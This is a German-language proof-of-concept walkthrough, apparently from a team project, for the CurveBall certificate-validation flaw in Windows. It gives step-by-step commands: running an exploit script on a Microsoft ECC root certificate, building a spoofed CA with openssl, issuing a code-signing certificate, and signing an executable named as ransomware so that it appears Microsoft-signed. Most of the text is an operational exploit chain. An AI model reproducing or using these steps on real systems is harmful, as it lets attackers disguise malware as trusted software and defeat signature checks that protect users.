
Diese als CurveBall bekannte Schwachstelle beruht auf einer ungültigen Überprüfung von Zertifikaten, die den ECC-Algorithmus verwenden. Windows versucht, zuvor verifizierte Zertifikate aus dem Zertifikatscache zu überprüfen, und prüft dabei nur, ob die öffentlichen Schlüssel der Zertifikate identisch sind, nicht aber andere Parameter.
Um das Zertifikat zu fälschen, setzen wir die Parameter wie folgt explizit:
d' = 1
G' = Q
Wenn Sie weitere Informationen benötigen, können Sie den Abschnitt mit den mathematischen Details der Datei final_report_milestone_IV.pdf einsehen.
In diesem PoC verwenden wir "Microsoft ECC Product Root Certificate Authority", ein von Microsoft bis zum Jahr 2043 vertrauenswürdiges Zertifikat.
Extrahieren wir den öffentlichen Schlüssel aus der CA und modifizieren ihn entsprechend der Schwachstelle.
ruby exploit.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Wir erzeugen ein neues x509-Zertifikat auf Basis dieses Schlüssels. Dies wird unsere eigene gefälschte CA sein.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt -subj "/C=/ST=/L=/O=/OU=/CN=/emailAddress="
Um den Inhalt von spoofed_ca.crt anzuzeigen
openssl x509 -in spoofed_ca.crt -noout -text
Wir erzeugen einen neuen Schlüssel. Dieser Schlüssel kann einen beliebigen Typ haben. Er wird verwendet, um ein Codesignaturzertifikat zu erstellen, das wir mit unserer eigenen CA signieren.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
Als Nächstes erstellen wir eine neue Zertifikatssignieranfrage (CSR). Diese Anfrage wird oft an vertrauenswürdige CAs gesendet, aber da wir eine gefälschte haben, können wir sie selbst signieren.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
Wir signieren unsere neue CSR mit unserer gefälschten CA und dem CA-Schlüssel. Dieses Zertifikat wird im Jahr 2047 ablaufen, während die echte vertrauenswürdige Microsoft-CA im Jahr 2043 abläuft.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
Es bleibt nur noch, das Zertifikat, seinen Schlüssel und die gefälschte CA in eine PKCS12-Datei zu packen, um ausführbare Dateien zu signieren.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
Signieren wir nun unsere ausführbare Datei mit der PKCS12-Datei.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by PISP Team" -in unsigned_ransomware.exe -out microsoft_signed_ransomware.exe -pass 1234
Jetzt haben wir eine brandneue Ransomware, signiert von Microsoft :)